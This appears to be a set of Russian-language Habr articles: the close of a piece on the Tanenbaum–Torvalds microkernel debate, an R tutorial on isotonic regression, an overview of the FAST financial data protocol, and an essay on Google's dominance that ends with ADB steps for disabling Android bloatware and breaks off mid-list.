ОС должно быть минимальным и содержать лишь самое необходимое: управление памятью, планировщик и IPC, а все остальное реализуется в виде сервисов. Разбив целое на множество простых частей, сложность исчезает, а легковесные сервисы без труда обмениваются данными с микроядром. Сбой в драйвере файловой системы или сетевой карты, таким образом элементарно восстанавливался перезагрузкой соответствующего сервиса. Линус принимает вызов --------------------- Линус придерживался другого мнения на сей счет. Отдавая должное элегантности и изяществу архитектуры микроядра с теоретической точки зрения, он тем не менее считал микроядро не пригодным для практических целей. Мнимая простота микроядра оборачивается тем, что взаимодействие и интерфейс между простыми частями микроядра создает сложности, которые нивелируют все ее «бумажные» преимущества. В своем ответе он изложил свое видение по данному вопросу. После дерзких выпадов против своего оппонента Линус переходит к сути. > *From: torvalds@klaava.Helsinki.FI (Linus Benedict Torvalds) > > Subject: Re: LINUX устарела > > Date: 29 Jan 92 23:14:26 GMT > > Organization: University of Helsinki* > > ... > > *Да, linux – монолитная система, и я согласен, что микроядро лучше. Если бы у вашего сообщения не был такой спорный заголовок, я бы, вероятно, согласился с большинством ваших высказываний. С теоретической (и эстетической) точки зрения linux проигрывает. Если бы ядро GNU было готово прошлой весной, я бы и не взялся за свою разработку: беда в том, что оно не было готово тогда и не готово до сих пор. Linux выигрывает прежде всего потому, что она уже готова.* Затем перечисляет проблемы Minix с многозадачностью в файловой системе. > *Если бы это было единственным критерием качества ядра, вы были бы правы. Однако вы не пишете о том, что микроядро в minix сделано плохо и возникают проблемы с многозадачностью (в ядре). Если бы я сделал ОС, у файловой системы которой были бы проблемы с многозадачностью, я бы не стал так поспешно осуждать других: наоборот, я бы из кожи вон лез, чтобы все забыли о моем провале. Да, я знаю, что для minix есть масса заплаток, обеспечивающих многопоточную работу, но это лишь заплатки, и Брюс Эванс говорит, что все равно остается множество проблем синхронизации.* Перепалка в конференции продолжается, в спор вступают новые участники. Эндрю Таненбаум и Линус Торвальдсь продолжают спор, но уже более в более сдержанной манере. Ниже вольный перевод избранных цитат. > **Эндрю Танебаум**: *Я нарочно написал Minix таким корявым, чтобы студенты могли гонять его на разнообразном и недорогом компьютерном железе, но дизайн у моей ОС норм., а не то что твой отсталый Linux. Его к тому же невозможно переносить на другие платформы. Я бы тебе на экзамене поставил пару.* > > > > **David Feustel**: *Ничего страшного, и у Эйнштейна были плохие отметки по математике и физике*. > > > > **Ken Thompson**: *Пользователям до лампочки современное ли ПО у них на компьютере, производительность гораздо важнее. Да, будущее за микроядром, однако монолитное ядро проще состряпать. Впрочем, его и запороть проще, если писать код на скорую руку.* > > > > **Randy Burns**: *Системные вызовы Linux совместимы с переносимыми ОС, так что жалобы на привязку к одной платформе неуместны. Наоборот, Linux закрывает брешь, позволяя нам использовать програмы GNU. Может быть через пару лет, когда Hurd и недорогие BSD системы получат распространение Linux и устареет, но сейчас мы можем наслаждаться gcc, bash, bison за бесценок и писать код для лучшей ОС*. > > > > **Pete French**: *А разве микроядро и монолитное ядро не являются артефактами языка программирования, на котором написаны. В чем разница между микроядром, написанным на C и монолитным ядром — на OCCAM?* > > > > **Линус Торвальдс**: *Ты старался так ради студентов, ну тогда понятно. Но с многозадачностью в твоей ОС все равно беда, как ни крути, а на моем «отсталом» монолитном Linux все летает. С переносимостью больших проблем не будет, так как Linux API переносимо — были бы желающие. А хорошие оценки мне и так не светят, я тут недавно с другим преподавателем архитектуры ОС повздорил.* > > > > **Lawrence C. Foard**: *Теоретики такие теоретики. У них прекрасные идеи, но никто их них не удосужился их проверить на деле. Интелосвкие 32-битные процессоры уже почти 10 лет как доступны на рынке, но никто кроме Линуса не написал для них ОС, которую можно пощупать, без необходимости покупать Unix AT&T за 100,000$. Готовая ОС стоит десятка бумажных. Я уже сегодня могу писать код для Linux и экспериментировать как мне вздумается.* > > > > **peter da silva**: *Прекрасно, что Linux существует и монолитное ядро — одна из причин того, что он был создан так быстро. Это мощный аргумент в пользу монолитного ядра и однако это не значит, что микроядро обязательно должно быть медленным, или что оно «бумажное».* Аргументы в пользу микроядра в то время действительно перевешивали, но на сегодняшний день опыт использования обоих принципов построения ОС [внес коррективы](https://ru.wikipedia.org/wiki/Mach). > *Несмотря на возможности Mach, такие потери производительности в реальном мире неприемлемы. По ходу того, как остальные коллективы разработчиков приходили к тем же выводам, их энтузиазм довольно быстро стал улетучиваться. Поэтому большая часть сообщества разработчиков ОС посчитала, что использование IPC в качестве основы ОС изначально провально.* На этом первая часть Марлезонского Балета завершилась. Первый раунд битвы остался за профессором, Линус взял свои слова обратно, первым вышел из спора, однако не изменил своего мнение, так в главном он был прав — его ОС **выигрывала**, потому что **была готова**. Спустя 14 лет спор знаменитого теоретика и практика продолжился. ### Использованные материалы 1. [Линус Торвальдс, «Just for fun»](http://modernlib.ru/books/torvalds_linus/just_for_fun/read/) 2. [The Tanenbaum Torvalds debate](http://www.oreilly.com/openbook/opensources/book/appa.html)
https://habr.com/ru/post/344826/
null
ru
null
# Скучно, просто и ограниченно — все это изотоническая регрессия Вкратце о маленьком пакете cir. Минутка теории -------------- Изотоническая регрессия - это крайне специфический вид регрессии, который применяется при жестком требовании неубывания значения зависимой переменной при возрастании значения независимой переменной Есть два основных применения данного вида регрессии в реальных задачах: 1. В фармакологических задачах, где нужно найти взаимосвязь типа "отклик - доза" (например, "концентрация препарата - доля умерших") 2. При моделировании распределений, когда в качестве зависимой переменной выступает квантиль функции распределения Классический алгоритм расчетов дает в результате кусочно-постоянную неубывающую функцию (Pool-Adjacent-Violators Algorithm, его схема представлена ниже): ![Цитируется по: Assaf P. Oron, Nancy Flournoy. Centered Isotonic Regression: Point and Interval Estimation for Dose-Response Studies / Statistics in Biopharmaceutical Research. № 3 (9) DOI:10.1080/19466315.2017.1286256](https://habrastorage.org/r/w1560/getpro/habr/upload_files/d00/751/337/d007513373f8f40edf735108c2fbfa2e.png "Цитируется по: Assaf P. Oron, Nancy Flournoy. Centered Isotonic Regression: Point and Interval Estimation for Dose-Response Studies / Statistics in Biopharmaceutical Research. № 3 (9) DOI:10.1080/19466315.2017.1286256")Цитируется по: Assaf P. Oron, Nancy Flournoy. Centered Isotonic Regression: Point and Interval Estimation for Dose-Response Studies / Statistics in Biopharmaceutical Research. № 3 (9) DOI:10.1080/19466315.2017.1286256Недавно алгоритм был модифицирован. Две работы позволили немного модифицировать алгоритм: 1. Oron A. P., Flournoy N. Centered Isotonic Regression: Point and Interval Estimation for Dose-Response Studies / Statistics in Biopharmaceutical Research. 2017. № 3 (9) DOI:10.1080/19466315.2017.1286256 - был представлен новый, сглаживающий алгоритм 2. Oron A. P., Flournoy N. Bias induced by adaptive dose-finding designs // Journal of Applied Statistics. 2019. DOI: 10.1080/02664763.2019.1649375 - была представлена методика расчета доверительных интервалов при предсказании значений зависимых переменных Новый алгоритм основан на сглаживании кусочно-постоянной регрессии: ![Цитируется по: Assaf P. Oron, Nancy Flournoy. Centered Isotonic Regression: Point and Interval Estimation for Dose-Response Studies / Statistics in Biopharmaceutical Research. № 3 (9) DOI:10.1080/19466315.2017.1286256](https://habrastorage.org/r/w1560/getpro/habr/upload_files/cbd/70f/fbe/cbd70ffbe1cb53fc0f42fbff1d00d995.png "Цитируется по: Assaf P. Oron, Nancy Flournoy. Centered Isotonic Regression: Point and Interval Estimation for Dose-Response Studies / Statistics in Biopharmaceutical Research. № 3 (9) DOI:10.1080/19466315.2017.1286256")Цитируется по: Assaf P. Oron, Nancy Flournoy. Centered Isotonic Regression: Point and Interval Estimation for Dose-Response Studies / Statistics in Biopharmaceutical Research. № 3 (9) DOI:10.1080/19466315.2017.1286256Собственно, на всем этом и основан пакет CIR, с которым мы будем знакомиться Методология ----------- Основа для данной статьи - [база данных из исследования](https://www.researchgate.net/publication/326751754_Advancing_risk_assessment_Mechanistic_dose-response_modelling_of_Listeria_monocytogenes_infection_in_human_populations) (что-то связано с инфекциями в человеческой популяции), которая отдельно [доступна по ссылке](https://zenodo.org/record/4970865#.YTXqBKAmzIU). В качестве независимой переменной выступает логарифм дозы носителей инфекции, в качестве зависимой переменной - вероятность заболеть. База данных и все сопутствующие материалы есть на [GitHub](https://github.com/acheremuhin/Isotonic_regression). Расчеты ------- ``` Data <- read_csv(".../Dataforfigure8.csv", col_names = FALSE) nam<-t(Data[,1]) Base<-as.data.frame(t(Data[,2:24])) colnames(Base)<-nam ggplot(data=Base, aes(x=Base$log_dose, y=Base$Probability_of_infection_1)) + geom_point() + xlab("Логарифм дозы") + ylab("Вероятность инфицирования") ``` Если посмотреть на точечный график, то это будет что-то типа ![Очень похоже на логистическую регрессию](https://habrastorage.org/r/w1560/getpro/habr/upload_files/616/733/de1/616733de1fd223e61f974479653a3fb3.png "Очень похоже на логистическую регрессию")Очень похоже на логистическую регрессиюВ пакете представлены три алгоритма регрессии - их реализуют функции cirPAVA() - это новый алгоритм, oldPAVA - старый алгоритм и iterCIR() - итеративная версия нового алгоритма. Но мы воспользуемся другой функцией для построения регрессии и доверительных интервалов ``` x1<-Base[,2] names(x1)<-c() x2<-Base[,1] names(x2)<-c() dat<-doseResponse(y=x1,x=x2) quick1<-quickIsotone(dat) # Быстрая регрессия - получение доверительных интервалов для значений у ggplot(data=quick1, aes(x=x, y=y)) + geom_point() + xlab("Логарифм дозы") + ylab("Вероятность инфицирования") + geom_line(data=quick1,aes(x=x, y=lower90conf))+ geom_line(data=quick1,aes(x=x, y=upper90conf)) ``` ![Вот и доверительные интервалы](https://habrastorage.org/r/w1560/getpro/habr/upload_files/e1f/67f/6a6/e1f67f6a667f33618018e6e47441ea74.png "Вот и доверительные интервалы")Вот и доверительные интервалыПри этом расчет доверительных интервалов может осуществляться тремя способами, выбрать которые можно при использовании функции isotInterval. Все вместе будет выглядеть так: ``` slow1<-cirPAVA(dat,full=TRUE) # Построение регрессии по алгоритму CIR slow1$output # Предсказанные значения slow1$input # Исходные данные slow1$shrinkage # Сокращенные данные для построения графика зависимости int1_0<-isotInterval(slow1,narrower=FALSE) # Расчет доверительных интервалов по готовой модели int1_0 ggplot(data=quick1, aes(x=x, y=y)) + geom_point() + xlab("Логарифм дозы") + ylab("Вероятность инфицирования") + geom_line(data=slow1$shrinkage,aes(x=x, y=y), color = "green") + geom_line(data=int1_0,aes(x=quick1$x, y=ciLow))+ geom_line(data=int1_0,aes(x=quick1$x, y=ciHigh)) ``` ![Доверительные интервалы чуть-чуть, но другие](https://habrastorage.org/r/w1560/getpro/habr/upload_files/702/e8a/b0a/702e8ab0a6d7efeae43bfdc5f34de822.png "Доверительные интервалы чуть-чуть, но другие")Доверительные интервалы чуть-чуть, но другиеФункция quickIsotone() может также осуществлять и прогнозирование. Для этого есть параметр outx ``` quickIsotone(dat, outx = c(2.15,7.75)) # Предсказание с доверительными интервалами для значения ``` ![Результат предсказания](https://habrastorage.org/r/w1560/getpro/habr/upload_files/c82/a71/139/c82a71139280dfc10bb96a7ec8b8702b.png "Результат предсказания")Результат предсказания
https://habr.com/ru/post/577942/
null
ru
null
# Способы передачи финансовых данных #2: протокол FAST [![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/4b6/3d9/708/4b63d970876a4ce8dd45b7585795d48d.jpg)](http://habrahabr.ru/company/itinvest/blog/243657/) В одном из прошлых топиков мы рассмотрели [протокол FIX](http://habrahabr.ru/company/itinvest/blog/242789/), который был создан для передачи финансовой информации и автоматизации коммуникаций на фондовом рынке. Однако этот протокол оказался не самым идеальным инструментом в условиях все увеличивающихся объёмов финансовых данных, поэтому в качестве его развития был создан новый стандарт — протокол FAST (FIX Adapted for STreaming). Сегодня мы поговорим об этой технологии. #### История В ноябре 2004 года тогдашний CEO финансового холдинга Acrhipelago Holding Майк Кормак на конференции сообщества FIX под названием FPL (FIX Protocol Limited) в Нью-Йорке заявил о том, что текущая версия протокола не справляется с возросшим объёмом финансовой информации, генерируемой на фондовом рынке. При передачи больших объёмов данных с помощью FIX возникали значительные задержки в их обработке, что приносило трейдерам убытки и лишало их возможности разработки действующих торговых стратегий. Классический формат передачи сообщений Tag=Value, использовавшийся в FIX, оказался слишком громоздким для его быстрой обработки. Вскоре после этого выступления, были сделаны первые шаги к исправлению ситуации. При создании протокола FAST разработчики преследовали цель добиться возможности передачи больших объёмов данных, избегая появления задержек в получении информации. Разработкой протокола занималась рабочая группа сообщества FIX под названием «Группа оптимизации передачи рыночных данных» (Market Data optimization working group — mdowg), которая была сформирована в 2004 году. В 2005 году эксперты группы представили пилотный проект (proof of concept) протокола, а уже через год был осуществлен релиз первой версии FAST 1.0. В дальнейшем было выпущено несколько обновлений, и в настоящий момент большинством игроков финансового рынка используется версия протокола 1.2. Также существует несколько открытых реализаций протокола (например, [OpenFAST](http://www.openfast.org/), [OpenFAST.NET](http://sourceforge.net/projects/openfastdotnet/) и [QuickFAST](http://www.quickfast.org/)). #### Как это работает Согласно стандарту FIX-протокола каждое сообщение имеет формат Tag = Value SOH, где Tag — это номер передаваемого поля, Value — его значение, а SOH — символ-разделитель (подробнее — в нашем [прошлом материале](http://www.quickfast.org/)). Пример записи сообщения в синтаксисе Tag = Value: `35=x|268=3 (message header) 279=0|269=2|270=9462.50|271=5|48=800123|22=8 (trade) 279=0|269=0|270=9462.00|27` Протокол FAST позволяет избавиться от избыточности с помощью шаблона, который описывает структуру сообщения целиком. Этот метод называется «неявным тегированием» (implicit tagging), поскольку теги FIX в передаваемых данных только «подразумеваются». Итого, синтаксис Tag = Value меняется следующим образом: * Шаблон описывает структурированный набор полей с их операторами; * Последовательность полей в сообщении соответствует последовательности тегов в шаблоне; * В сообщении передаются только изменения данных. Протокол FAST используется для получения рыночных данных. #### На каких биржевых площадках есть FAST Протокол FAST поддерживается целым рядом крупнейших мировых фондовых площадок, среди которых: * [NYSE Archipelago](https://www.nyse.com/markets/nyse-arca); * [CME Group (CME)](http://www.cmegroup.com/); * [International Securities Exchange (ISE)](http://www.ise.com/); * [NasdaqOMX](http://business.nasdaq.com/); * [SIX\_Swiss\_Exchange](http://www.six-swiss-exchange.com/index.html); * [Eurex](http://www.eurexchange.com/exchange-en/); * [Xetra (trading system)](http://en.wikipedia.org/wiki/Xetra_(trading_system)); * [Bombay\_Stock\_Exchange](http://www.bseindia.com/) (BSE Ltd, India); * [BATS](http://en.wikipedia.org/wiki/BATS_Global_Markets); * [ICAP](http://www.icap.com/); * [OPRA](http://www.opradata.com/); * [BVMF](http://en.wikipedia.org/wiki/Bovespa); * [Nordic Growth Market (NGM)](http://en.wikipedia.org/wiki/Nordic_Growth_Market); * [Shanghai Stock Exchange(SSE,China)](http://english.sse.com.cn/); * [«Московская Биржа» (MICEX-RTS)](http://moex.com/). Рассмотрим подробнее реализацию FIX на «Московской Бирже». #### Реализация «Московской Биржи» «Московская Биржа» реализовала возможность предоставления доступа к финансовой информации по [протоколу FAST](http://moex.com/s441). Трейдеры могут получать по FAST таблицы финансовых инструментов (цены, объёмы торгов и т.п.), котировки, все сделки, индексы, а также информацию обо всех активных обезличенных заявках. Согласно информации на сайте Биржи, средняя задержка публикации обновлений составляет менее 300 микросекунд (для фондового и валютного рынков). Для передачи финансовых данных используются UDP-каналы, а по TCP передаются наборы недоставленных данных. Данные структурированы на группу потоков (каналов или «фидов»), которые содержат в себе информацию о группе финансовых инструментов. Эти инструменты автоматически группируются торговой системой Биржи в соответствии с определенным параметрами. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/3bb/78f/483/3bb78f48395ba64f202a97d85ba66004.png) UDP позволяет сократить задержки при передаче информации, а их дублирование снижает потери сообщений. Если описывать схему более подробно, то сервис FAST состоит из следующих каналов: * **Market Data Incremental** — система UDP-каналов для получения изменений данных по текущим торгам; * **Incremental Refresh** — данный канал позволяет получать информацию о текущих торгах на рынке; * **Instruments Replay** — поток используется для получения сообщений о финансовых инструментах, допущенных к торгам; * **Market snapshot** — поток используется для восстановления актуальной информации по всем инструментам; * **Instruments Incremental** — канал для получения изменений параметров инструментов (изменение гарантийного обеспечения и лимитов цен); * **Message Replay** — позволяет запрашивать сообщения, которые были пропущены в потоке Incremental Refresh. [![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/49d/4a8/280/49d4a82809a28173ab8a107c9657050b.png)](http://i.imgur.com/esxXW0r.png) *Изображение / moex.com (по клику откроется в полном размере)* Все сообщения, отправляемые с торговой системой «Московской биржи» кодируются в формате FAST. Особенностью формата «Московской Биржи» заключается в добавлении к сообщению преамбулы из 4 байт. Эта преамбула содержит тег под номером 34 (SeqNum), который позволяет получать номер последовательности сообщений без необходимости декодирования всего сообщения — это выливается в дополнительную экономию времени на обработку потоков данных. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/048/ce4/a97/048ce4a9708afe0ac23985e00115f2d1.png) Как правило, передача шаблона FAST осуществляется с помощью XML. Типичный сценарий использования протокола (подключение до начала торгового дня) можно описать следующей последовательностью действий: 1. Загрузка [конфигурационного](ftp://ftp.moex.com/pub/FAST/Spectra/test_templates/internet_test/configuration.xml) XML-файла со списком multicast IP-адресов и другими параметрами соединения (потоки, порты и т.п.). 2. Загрузка [шаблона](ftp://ftp.moex.com/pub/FAST/Spectra/test_templates/internet_test/templates.xml) FAST с FTP-ресурса. 3. Начало «прослушивания» потока Snapshot, а затем Incremental Refresh для получения данных. Пример шаблона на XML: ``` ``` #### Как подключиться по FAST ITinvest [предоставляет](http://www.itinvest.ru/services/access/) своим клиентам доступ к рынкам «Московской биржи» с помощью прямого подключения по протоколуам FIX и FAST Кроме того, для высокочастотных торговцев и алготрейдеров созданы специальные ИТ-услуги от [колокации](http://www.itinvest.ru/services/access/razmeshenie/) серверов в дата-центре M1 до предоставления доступа к виртуальным машинам для размещения торгового робота (тарифы указаны на [сайте](http://www.itinvest.ru/pricing-n-docs/tariffs/direct-access/)). Для тех, кто не читал наш предыдущий материал о протоколе FIX снова прикрепляем видео с рассказом о решениях по получению прямого доступа на фондовый рынок. #### Другие протоколы Помимо протоколов FIX и FAST, поддерживаемых международным сообществом, для прямого подключения к отечественным рынкам используются и так называемые нативные протоколы, которые возникли еще до объединения бирж ММВБ и РТС в «Московскую биржу». На рынках, относившихся к бирже РТС (FORTS – [фьючерсы](http://habrahabr.ru/company/itinvest/blog/222257/) и [опционы](http://habrahabr.ru/company/itinvest/blog/226829/), Standard), для прямого совершения операций и получения данных в режиме подключения используется протокол [Plaza II](http://fs.moex.com/files/4929). Для выполнения торговых операций и получения биржевых данных на площадках, ранее относившихся к бирже ММВБ (валютный и фондовый рынки) используется двунаправленный [шлюз](http://moex.com/a574) MICEXBridge (TEAP). Об этих протоколах пойдет речь в наших следующих статьях. Кроме того, мы расскажем о протоколе [Simple Binary Encoding](http://real-logic.github.io/simple-binary-encoding/), который, в определенной степени, является продолжателем дела FIX. На сегодня все, спасибо за внимание, будем рады ответить на вопросы в комментариях. P. S. Если вы заметили опечатку или ошибку — напишите личным сообщением, и мы оперативно все исправим.
https://habr.com/ru/post/243657/
null
ru
null
# Мировые корпорации. Есть ли свет в конце туннеля? ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/72b/9d6/061/72b9d60619dafdaa0d33a69651d904ba.jpg)Предисловие ----------- Глобальные корпорации уже давно и прочно вошли в нашу повседневную жизнь своими продуктами, зачастую не оставляя пользователям альтернативного выбора. Или он все таки есть? Данная статья затрагивает проблему доминирования больших корпораций в определенных сегментах, и на примере Google предлагает оценить негативные последствия, а также содержит ряд практических советов. Спойлер одного их них : если вы пользователь Android то совет поможет продлить время работы вашего девайса и улучшить приватность. Глобальные корпорации процветают в современном мире. Google, Apple, Facebook, Netflix – это лишь небольшой список из корпораций, чьи имена обычно не покидают заголовки новостей, и к сожалению зачастую по негативным причинам. Достаточно вспомнить несколько последних громких новостей, как судебное разбирательство Apple c Epic, или крупный сбой в работе Facebook. Проблема в Android WebView весной, которая нарушила работу многих социальных сетей, мессенджеров и банковских приложений, ясно показала всем, насколько мы все порой зависим от деятельности одной единственной компании. Как вы могли понять из подбора компаний в данной статье речь пойдет именно про IT индустрию, и для наглядности я сфокусируюсь на одном Google. Скажу сразу, что я пишу эту статью без шапочки из фольги, и постараюсь сделать ее максимально практичной. Немного статистики про Google ----------------------------- Google – думаю все знают что это за корпорация, и чем именно она занимается. Вот лишь немного статистики владения рынком: Поисковик Google – 91% от всего рынка (для всех платформ) ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/abd/6ee/09c/abd6ee09ca3c97dc0647bdaa21532788.png)Google Analytics – 86% от вебсайтов с любой аналитикой и 56% от всех веб сайтов ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/1f2/6d5/a97/1f26d5a9798a51315af205a5653a36d5.png)ОС Android – 71% от всего мобильного рынка ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/5eb/0a7/764/5eb0a7764ace5ff6f685c39b491d30c2.png)Браузер Google Chrome – 64% от всего рынка (для всех платформ) ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/81c/ff6/a8f/81cff6a8f21539fd1db6f34b52929a19.png)Данные из [StatCounter](https://gs.statcounter.com/browser-market-share) и [w3techs](https://w3techs.com/technologies/history_overview/traffic_analysis/all) на октябрь 2021. Я не смог найти статистику касательно Gmail, однако по личным наблюдениям она будет не ниже указанных продуктов. Цифры явно говорят о текущем положении дел – а именно о приближении к монопольному положению данной корпорации во многих сферах. Я не пытаюсь сейчас обвинить Google в коварных планах по захвату мира, я хочу лишь подчеркнуть степень влияния больших корпораций, на примере Google, на некоторые сферы нашей жизни. Пару слов про веб ----------------- Я веб-разработчик, и по-этому веб область для меняя более близка. Что такое компания, которая владеет браузером с долей 65% от мирового рынка? Это компания, которая уже сейчас имеет огромное влияние на развитие веба, по сути может диктовать направления для движения единолично. Поддержку какой функции из стандарта реализовать, а какой оставить без внимания. Как будет работать веб в будущем, и по каким стандартам. Практически неограниченная власть которой мы с вами ее наделяем, просто выбирая ее продукт, Chrome. Если взять другой продукт - Google Analytics. 56% от всех веб сайтов. В мире. JavaScript код который подключается на веб-сайтах дает доступ Google ко всем кукам веб-сайта, и что главное, дает возможность Google отслеживать и идентифицировать конкретного пользователя практически по всей веб паутине. Я убежден что большинство сотрудников этой корпорации обычные и доброжелательные люди, которые имеют моральные принципы, однако кто может поручиться за руководящую часть? Кто может гарантировать что руководство не будет использовать монополию компании во зло в будущем? Немного про мобильные ОС ------------------------ Если отвлечься от веба и обратить внимание на рынок мобильных операционных систем, для тех самых гаджетов, которые стали неотъемлемой частью нашей жизни. По факту мы имеет только 2 самых распространенных ОС : iOS и Android. Большинство компаний, чьими услугами мы пользуемся (например банкинг) пишут приложения только для этих ОС. И если в случае с iOS все понятно, это закрытая система, и в случае каких-либо проблем человечеству придется написать ее с нуля. Что же касается Android, ведь он открытый, он open source скажете вы. И будете правы, однако лишь частично. Android разрабатывается Android Open Source Project, который курирует Google, и именно он решает, в какую сторону двигается операционная система. Android имеет открытый исходных код, однако если вы вспомните про другие неотъемлемые части операционной системы, как push уведомления приложений, GSF (GoogleServicesFramework) который используется во многих приложениях и наконец Google Play Store, через который распространяются приложения. Все это будут проприетарные, т.е. закрытые части, которые делают открытый Android непригодным для использования, по крайней мере без огромных усилий, как на примере с Huawei, которой пришлось экстренно создавать свои альтернативы для вышеперечисленных частей. Однако даже в случае с Huawei это не решает проблему наполнения того же AppGallery, ведь большинство приложений для Android загружено именно в PlayStore. Наверняка большинство из вас используют Google Pay (в том числе и я) благополучно предоставляя данные о своих покупках Google. Ведь мы участники аттракциона невиданной щедрости, когда нам предоставляется бесплатная платежная система, в то время когда злые Visa и MasterCard берут свою комиссию с каждой покупки (см. Interchange). Из деликатности, я опущу скандал 2018 года, когда MasterCard подозревали в передаче данных о покупках клиентов в Google. Стоить упомянуть также ситуацию (которая усугубилась благодаря не только Google но и поставщикам, как Xiaomi, Samsung и др.) когда при покупке смартфона на нем предустановлен как минимум десяток системных сервисов, которые не нужны для большинства пользователей (bloatware), кроме ожидаемо сервисов от Google также присутствуют Facebook и EBAY (и др. в зависимости от региона), которые сокращают время работы вашего девайса (значительно) и отправляют ваши личные данные в (не)известных направлениях, и самое интересное, что возможность их отключения стандартными средствами отсутствует. Поневоле появляются мысли об огромных контрактах, в результате которых это произошло, и вы, как владелец девайса стали учасником этой сделки, к сожалению на правах подопытного. Выводы ------ При желании данный список можно продолжать до бесконечности, Google стал поистине глобальной корпорацией. Однако я взял Google лишь для примера. Есть десятки других компаний, которые добились подобного положения в других направлениях/регионах. Все указанное выше было лирика - повторюсь еще раз – цель данной статьи не обвинение всех и вся в мировом заговоре, и даже не обсуждение злоупотребления корпорациями своего положения, а попытка обратить внимание, задуматься, какой властью мы с вами сами наделяем корпорации ежедневно, и как сильно мы становимся зависимы от них. Итак, какой же выход? Выход там же где и вход. Ваш капитан очевидность (с). Если мы сами наделяем корпорации такой властью, то сами можем их этой власти и лишить. Я имею ввиду вдумчиво и ответственно подходить к выбору важных (для вас) сервисов и приложений, которые вы используется регулярно. А именно – отдавать предпочтение open source решениям (как бесплатным так и платным). Сейчас есть достаточно достойных альтернатив, которые предоставляют аналогичный закрытым приложениям и сервисам функционал и адекватный дизайн. Я сторонник идеи, что все критически важные сервисы и приложения должны иметь открытый исходный код. Это не панацея, и open source имеет свои недостатки и проблемы, однако он делает любой продукт более прозрачным и устойчивым, менее зависимым от разработчика, гарантируя возможность в случае необходимости создания форка и продолжение разработки с определенного момента, вместо необходимости изобретать все с нуля. Практические рекомендации ------------------------- Теперь самое время перейти к практическим советам, желание поделиться которыми и было одним из главных мотивов, побудивших автора к созданию данной статьи. Совет №1. Для владельцев Android. Отключаем лишние (bloatware) сервисыЦель отключения – продление времени работы вашего девайса (для меня, на Xiaomi Redmi Note 9 Pro полученный результат был заметным и существенным) и повышение приватности. Также мой девайс стал гораздо шустрее, по ощущениям я вернул телефон в то время, когда только его купил (думаю вы все помните это ощущение). Однако максимальный эффект по моему мнению достигнут не только отключением bloatware, но и переходом на альтернативные приложения, я подозреваю что они гораздо меньше используют ресурсы из-за отсутствия необходимости что-либо собирать и отправлять на внешние сервера на регулярной основе. Как я уже упомянул выше, отключение или удаление стандартными средствами не работает, по этому на помощь приходит ADB (Android Developers Bridge), который даст нам возможность отключить системные сервисы. Ниже я приведу пример действий которые я совершил для моего Xiaomi Redmi Note 9 Pro, на системе Ubuntu 20.04. Я думаю вы без труда найдете инструкции как установить ADB например на Windows, и список bloatware для вашего производителя. После этого не забудьте поделиться этим в комментариях, и я добавлю это в статью. 1. Установливаем ADB Ubuntu/Debian sudo apt install adb 2. Составляем список bloatware сервисов Xiaomi<https://selivan.github.io/2020/02/25/removing-bloatware-from-xiaomi-miui-android.html> ДополнительноТакже я для себя заблокировал дополнительные сервисы, указанные ниже, ОДНАКО блокируйте данные сервисы только в том случае, если вы уже установили альтернативные приложения и перенесли все необходимые данные. ``` com.netflix.mediaclient com.android.chrome com.google.android.calendar com.google.android.apps.messaging com.google.android.dialer com.google.android.contacts com.google.android.syncadapters.contacts ``` 3. Подключаем телефон и включаем отладку по USB Для этого вам вероятно придется активировать режим разработчика (не путать с root). MiUIНастройки – О телефоне – тапнуть 5-7 раз по пункту MIUI версии. После этого у вас появится надпись, из серии – поздравляем, вы активировали режим разработчика. Теперь идем в Настройки – Расширенные настройки – Для разработчиков и включаем отладку по USB 4. Отключаем bloatware сервисы В теории у нас есть два варианта – отключить сервис или удалить его. Мы будем использовать именно первый вариант, он более предпочтительный, т.к. дает возможность в случае необходимости легко включить сервисы, без лишних танцев с бубном. Однако производители иногда идут дальше, например для моего MIUI 12 опция uninstall просто не работает. Заметка. Есть open source [утилита](https://gitlab.com/W1nst0n/universal-android-debloater-rs) с графическим интерфейсом которая делает равно то же, только предоставляет графический интерфейс. Я не рекомендую ее использовать, т.к. на момент написания статьи она была сырой, и выборочное отключение не работало, а удаление всех рекомендованных пакетов привело к тому, что мне пришлось сбрасывать телефон до заводских настроек. Проверяем что телефон подключен . Данная команда должна отобразить одну строку вида : "{id} device", на телефоне вероятно спросит еще раз подтвердить разрешение на отладку. ``` adb devices ``` Входим в shell оболочку телефона ``` adb shell ``` Команда ниже покажет список включенных сервисов ``` pm list packages -e ``` А эта команда покажет список выключенных сервисов ``` pm list packages -d ``` Также вы можете искать по именам, например для поиска всех активных сервисов от Google: ``` pm list packages -e | grep "google" ``` Используя список bloatware для вашего производителя отключайте сервисы используя команду ниже (вместо {com.X} полное имя, как com.google.android.calendar) ``` pm disable-user {com.X} ``` Вы всегда сможете включить сервис используя команду ``` pm enable {com.X} ``` После отключения всех лишних сервисов можно выйти из оболочки ``` exit ``` Затем отключить телефон от пк и выключить режим отладки (в том же меню для разработчиков где мы его включали). Изменения должны примениться сразу, но чтобы уже наверняка я рекомендую перезагрузить телефон. На этом все, убедитесь в работоспособности телефона, в том что вы случайно не отключили сервис, который необходим (например контакты), если вы это обнаружите, сразу или позднее, то не волнуйтесь, как я упомянул вы можете его снова включить, просто повторив данную инструкцию и использовав команду "pm enable" вместо "pm disable-user". Все, теперь ваш телефон должен держать заряд гораздо дольше, для максимального эффекта рекомендую также использовать альтернативные приложения. Совет №2. Используйте альтернативные сервисыПоиск – SearX (мета-поисковик для продвинутых, в идеале нужен свой VPS), Brave, DuckDuckGo Карты - OpenStreetMap Почта – Proton Mail (работает как обычная почта, однако присутствует шифрование, есть бесплатный тариф) Календарь – Proton Calendar (с шифрованием, есть бесплатный тариф) Диск – Proton Drive (только платный тариф, однако диск с шифрованием, вы сможете спокойно хранить ваши документы и личные файлы) Google Captcha – hCaptcha Github, Bitbucket - GitLab Совет №3. Используйте альтернативные приложенияAndroidБраузер - Firefox Мессенджер – Telegram (open source клиент) Лаунчер - Lawnchair 2 Камера – OpenCamera Клавиатура – AnySoftKeyboard Google Play Store – AuroraStore (альтернативный открытый клиент) YouTube клиент – NewPipe (без рекламы и с фоновым 